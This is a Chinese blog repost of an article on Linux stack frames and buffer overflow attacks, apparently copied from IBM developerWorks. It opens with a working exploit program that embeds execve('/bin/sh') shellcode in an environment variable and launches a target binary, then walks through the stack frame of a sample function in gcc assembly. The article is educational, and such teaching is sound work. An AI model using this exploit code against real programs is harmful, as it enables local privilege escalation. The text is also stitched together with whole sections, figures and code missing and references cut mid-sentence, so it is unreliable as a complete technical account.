linux查看进程函数调用栈,Linux下函数调用堆栈帧的详细解释

Linux下函数调用堆栈帧的详细解释

0 阅读

作者：Z_hehe

来源：CSDN

2017-10-17

http://www.ibm.com/developerworks/cn/linux/l-overflow/

本文首先向读者讲解了Linux下进程地址空间的布局以及进程堆栈帧的结构，然后在此基础上介绍了Linux下缓冲区溢出攻击的 原理及对策。

前言

从逻辑上讲，进程的堆栈是由多个堆栈帧构成的，其中每个堆栈帧都对应一个函数调用。当函数调用发生时，新的堆栈帧被压入堆栈；当函数返回时，相应的堆栈帧从堆栈中弹出。尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持，但是由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中，因此也给系统安全带来了极大的隐患。

历史上最著名的缓冲区溢出攻击可能要算是1988年11月2日的Morris Worm所携带的攻击代码了。这个因特网蠕虫利用了fingerd程序的缓冲区溢出漏洞，给用户带来了很大危害。此后，越来越多的缓冲区溢出漏洞被发现。 从bind、wu-ftpd、telnetd、apache等常用服务程序，到Microsoft、Oracle等软件厂商提供的应用程序，都存在着似乎永远也弥补不完的缓冲区溢出漏洞。

根据绿盟科技提供的漏洞报告，2002年共发现各种操作系统和应用程序的漏洞1830个，其中缓冲区溢出漏洞有432个，占总数的 23.6%. 而绿盟科技评出的2002年严重程度、影响范围最大的十个安全漏洞中，和缓冲区溢出相关的就有6个。

在读者阅读本文之前有一点需要说明，文中所有示例程序的编译运行环境为gcc 2.7.2.3以及bash 1.14.7，如果读者不清楚自己所使用的编译运行环境可以通过以下命令查看：

$ gcc -v

Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/specs

gcc version 2.7.2.3

$ rpm -qf /bin/sh

bash-1.14.7-16

如果读者使用的是较高版本的gcc或bash的话，运行文中示例程序的结果可能会与这里给出的结果不尽相符，具体原因将在相应章节中做出解释。

Linux下缓冲区溢出攻击实例

为了引起读者的兴趣，我们不妨先来看一个Linux下的缓冲区溢出攻击实例。

#include

#include

extern char **environ;

int main(int argc, char **argv)

{

char large_string[128];

long *long_ptr = (long *) large_string;

int i;

char shellcode[] =

"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"

"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"

"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) strtoul(argv[2], NULL, 16);

for (i = 0; i < (int) strlen(shellcode); i++)

large_string[i] = shellcode[i];

setenv("KIRIKA", large_string, 1);

execle(argv[1], argv[1], NULL, environ);

return 0;

}

intfunction(inta,intb,intc)

{

charbuffer[14];

intsum;

sum = a + b + c;

returnsum;

}

voidmain()

{

inti;

i = function(1,2,3);

}

编译成汇编代码：

$ gcc -S example1.c

图6 example1.c编译后生成的汇编程序example1.s

.file"example1.c"

.version    "01.01"

gcc2_compiled.:

.text

.align 4

.globl function

.type    function,@function

function:

pushl %ebp

movl %esp,%ebp

subl $20,%esp

movl 8(%ebp),%eax

addl 12(%ebp),%eax

movl 16(%ebp),%edx

addl %eax,%edx

movl %edx,-20(%ebp)

movl -20(%ebp),%eax

jmp .L1

.align 4

.L1:

leave

ret

.Lfe1:

.size    function,.Lfe1-function

.align 4

.globl main

.type    main,@function

main:

pushl %ebp

movl %esp,%ebp

subl $4,%esp

pushl $3

pushl $2

pushl $1

call function

addl $12,%esp

movl %eax,%eax

movl %eax,-4(%ebp)

.L2:

leave

ret

.Lfe2:

.size    main,.Lfe2-main

.ident  "GCC: (GNU) 2.7.2.3"

(不同的编译器编译出来的汇编代码可能不同)

.text 指定了后续编译出来的内容放在代码段【可执行】;

.globl 告诉编译器后续跟的是一个全局可见的名字【可能是变量，也可能是函数名】；

_start是一个函数的起始地址，也是编译、链接后程序的起始地址。由于程序是通过加载器来加载的，必须要找到 _start名字的函数，因此_start必须定义成全局的，以便存在于编译后的全局符合表中，供其它程序【如加载器】寻找到。

这里我们着重关心一下与函数function对应的堆栈帧形成和销毁的过程。从图5中可以看到，function是在main中被调用的，三个实参的值分别为1、2、3。由于C语言中函数传参遵循反向压栈顺序，所以在图6中32至34行三个实参从右向左依次被压入堆栈。接下来35行的 call指令除了将控制转移到function之外，还要将call的下一条指令addl的地址，也就是function函数的返回地址压入堆栈。下面就进入function函数了，首先在第9行将main函数的堆栈帧指针ebp保存在堆栈中并在第10行将当前的栈顶指针esp保存在堆栈帧指针ebp中，最后在第11行为function函数的局部变量buffer[14]和sum在堆栈中分配空间。至此，函数function的堆栈帧就构建完成了，其结构如图7所示。

图7 函数func的堆栈帧

读者不妨回过头去与图4对比一下。这里有几点需要说明。首先，在Intel i386体系结构下，堆栈帧指针的角色是由ebp扮演的，而栈顶指针的角色是由esp扮演的。另外，函数function的局部变量buffer[14] 由14个字符组成，其大小按说应为14字节，但是在堆栈帧中却为其分配了16个字节。这是时间效率和空间效率之间的一种折衷，因为Intel i386是32位的处理器，其每次内存访问都必须是4字节对齐的，而高30位地址相同的4个字节就构成了一个机器字。因此，如果为了填补 buffer[14]留下的两个字节而将sum分配在两个不同的机器字中，那么每次访问sum就需要两次内存操作，这显然是无法接受的。还有一点需要说明

的是，正如我们在本文前言中所指出的，如果读者使用的是较高版本的gcc的话，您所看到的函数function对应的堆栈帧可能和图7所示有所不同。上面 已经讲过，为函数function的局部变量buffer[14]和sum在堆栈中分配空间是通过在图6中第11行对esp进行减法操作完成的，而sub 指令中的20正是这里两个局部变量所需的存储空间大小。但是在较高版本的gcc中，sub指令中出现的数字可能不是20，而是一个更大的数字。应该说这与 优化编译技术有关，在较高版本的gcc中为了有效运用目前流行的各种优化编译技术，通常需要在每个函数的堆栈帧中留出一定额外的空间。

下面我们再来看一下在函数function中是如何将a、b、c的和赋给sum的。前面已经提过，在函数中访问实参和局部变量时都是以 堆栈帧指针为基址，再加上一个偏移，而Intel i386体系结构下的堆栈帧指针就是ebp，为了清楚起见，我们在图7中标出了堆栈帧中所有成分相对于堆栈帧指针ebp的偏移。这下图6中12至16的计 算就一目了然了，8(%ebp)、12(%ebp)、16(%ebp)和-20(%ebp)分别是实参a、b、c和局部变量sum的地址，几个简单的 add指令和mov指令执行后sum中便是a、b、c三者之和了。另外，在gcc编译生成的汇编程序中函数的返回结果是通过eax传递的，因此在图6中第

17行将sum的值拷贝到eax中。

最后，我们再来看一下函数function执行完之后与其对应的堆栈帧是如何弹出堆栈的。图6中第21行的leave指令将堆栈帧指针 ebp拷贝到esp中，于是在堆栈帧中为局部变量buffer[14]和sum分配的空间就被释放了；除此之外，leave指令还有一个功能，就是从堆栈 中弹出一个机器字并将其存放到ebp中，这样ebp就被恢复为main函数的堆栈帧指针了。第22行的ret指令再次从堆栈中弹出一个机器字并将其存放到 指令指针eip中，这样控制就返回到了第36行main函数中的addl指令处。addl指令将栈顶指针esp加上12，于是当初调用函数

function之前压入堆栈的三个实参所占用的堆栈空间也被释放掉了。至此，函数function的堆栈帧就被完全销毁了。前面刚刚提到过，在gcc编 译生成的汇编程序中通过eax传递函数的返回结果，因此图6中第38行将函数function的返回结果保存在了main函数的局部变量i中。

Linux下缓冲区溢出攻击的原理

明白了Linux下进程地址空间的布局以及堆栈帧的结构，我们再来看一个有趣的例子。

图13调用execve(2)之前各寄存器的设置

解决的办法很简单，既然不能对代码段进行写操作，我们就把图12中的代码挪到可写的数据段或堆栈段中。可是一段可执行的代码在数据段中 应该怎么表示呢？其实，内存中存放着的无非是0和1这样的比特，当我们的程序将其用作代码时这些比特就成了代码，而当我们的程序将其用作数据时这些比特又 成了数据。我们先来看一下图12中的代码在内存中是如何存放的，通过gdb中的x命令可以很容易的做到这一点，如图14所示。

http://www.nsfocus.net/index.php?act=sec_bug&do=top_ten

王卓威。基于系统行为模式的缓冲区溢出攻击检测技术。

developerWorks上的 《使

您的软件运行起来：防止缓冲区溢出》为您列出了标准C库中所有存在安全隐患的函数以及对这些函数的使用建议。

毛德操，胡希明的《Linux内核源代码情景分析》向读者介绍了Linux下嵌入式汇编语言的语法。

W.Richard Stevens的《Advanced Programming in the UNIX Environment》为您详细介绍了uid和effective uid的概念以及setuid(2)和seteuid(2)等相关函数的用法。

Joel Scambray, Stuart McClure, George Kurtz的《Hacking Exposed》向读者介绍了网络安全的方方面面，从而使读者对网络安全有更多的了解，知道如何去加强安全性。

Intel. Intel Architecture Software Developer"s Manual. Intel Corporation.